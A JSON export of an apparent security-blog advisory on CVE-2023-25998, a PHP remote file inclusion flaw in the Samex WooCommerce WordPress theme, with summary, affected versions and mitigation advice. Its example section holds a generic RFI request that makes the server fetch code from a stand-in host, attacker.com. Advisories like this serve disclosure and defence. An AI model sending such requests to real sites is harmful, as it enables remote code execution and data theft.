{"id":57510,"date":"2025-07-05T12:32:17","date_gmt":"2025-07-05T12:32:17","guid":{"rendered":""},"modified":"2025-09-27T08:15:10","modified_gmt":"2025-09-27T14:15:10","slug":"cve-2023-25998-php-remote-file-inclusion-vulnerability-in-samex-woocommerce-wordpress-theme","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2023-25998-php-remote-file-inclusion-vulnerability-in-samex-woocommerce-wordpress-theme\/","title":{"rendered":"<strong>CVE-2023-25998: PHP Remote File Inclusion Vulnerability in Samex WooCommerce WordPress Theme<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In this post, we will explore the vulnerability CVE-2023-25998, a security issue found within the Samex &#8211; Clean, Minimal Shop WooCommerce WordPress Theme. This vulnerability, known as PHP Remote File Inclusion, affects the improper control of filename for the include\/require statement in PHP programs. This vulnerability is particularly threatening due to its <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32454-out-of-bounds-read-in-teamcenter-visualization-leading-to-potential-code-execution\/\"  data-wpil-monitor-id=\"64115\">potential to lead<\/a> to system compromise or data leakage. Any organization or individual using Samex <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-28947-critical-php-remote-file-inclusion-vulnerability-in-mbstore-digital-woocommerce-wordpress-theme\/\"  data-wpil-monitor-id=\"65853\">WooCommerce WordPress<\/a> Theme from any version up to 2.6 is at risk and should take immediate steps to mitigate the risk.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2023-25998<br \/>\nSeverity: High (8.1, CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3090-unauthenticated-remote-attack-leading-to-potential-data-leakage-and-system-compromise\/\"  data-wpil-monitor-id=\"64603\">Potential system compromise or data leakage<\/a><\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-48481655\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Samex &#8211; Clean, Minimal Shop WooCommerce <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8592-wordpress-inspiro-theme-vulnerability-to-cross-site-request-forgery-csrf\/\"  data-wpil-monitor-id=\"85388\">WordPress Theme<\/a> | Up to 2.6<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29976-improper-privilege-management-vulnerability-in-microsoft-office-sharepoint\/\"  data-wpil-monitor-id=\"64911\">vulnerability lies in the improper<\/a> control of filename for include\/require statement in PHP programs within the Samex WooCommerce WordPress Theme. In a typical <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49257-php-remote-file-inclusion-vulnerability-in-zota-by-thembay\/\"  data-wpil-monitor-id=\"63966\">PHP Remote File Inclusion<\/a> (RFI) attack, an attacker might manipulate a PHP script to include a remote file with malicious code. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20281-critical-vulnerability-in-cisco-ise-and-ise-pic-apis-allows-remote-code-execution\/\"  data-wpil-monitor-id=\"64602\">allows the attacker to execute the malicious code<\/a> on the server. The execution could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-20599-unauthorized-access-to-crypto-co-processor-registers-in-asp-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"64223\">potentially compromise the system and lead<\/a> to data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1413018359\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how the vulnerability might be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?file=http:\/\/attacker.com\/malicious_code.txt HTTP\/1.1\nHost: vulnerable-website.com<\/code><\/pre>\n<p>In this example, the GET request is used to retrieve a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49508-php-remote-file-inclusion-vulnerability-in-cozystay-by-loftocean\/\"  data-wpil-monitor-id=\"64126\">PHP file<\/a> from the server. If the server is <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52207-critical-php-script-upload-vulnerability-in-mikopbx\/\"  data-wpil-monitor-id=\"65492\">vulnerable to PHP<\/a> RFI, the attacker can supply a URL (`http:\/\/attacker.com\/malicious_code.txt`) in place of a local file. If the server processes this request, it will include the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49254-critical-php-remote-file-inclusion-vulnerability-in-thembay-nika\/\"  data-wpil-monitor-id=\"63967\">remote file<\/a>, which could contain malicious code. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-36038-remote-code-execution-vulnerability-in-ibm-websphere-application-server\/\"  data-wpil-monitor-id=\"64673\">code would then be executed<\/a> on the server, potentially resulting in a system compromise or data leakage.<\/p>\n<p><strong>Recommended Mitigation<\/strong><\/p>\n<p>To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50738-memos-application-vulnerability-allows-for-unauthorized-user-information-disclosure\/\"  data-wpil-monitor-id=\"85389\">users can use Web Application<\/a> Firewalls (WAF) or Intrusion Detection Systems (IDS) as a temporary mitigation strategy. Regular updates and careful monitoring of the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6435-firefox-vulnerability-leading-to-potential-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"64912\">system can help prevent potential<\/a> exploits.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In this post, we will explore the vulnerability CVE-2023-25998, a security issue found within the Samex &#8211; Clean, Minimal Shop WooCommerce WordPress Theme. This vulnerability, known as PHP Remote File Inclusion, affects the improper control of filename for the include\/require statement in PHP programs. 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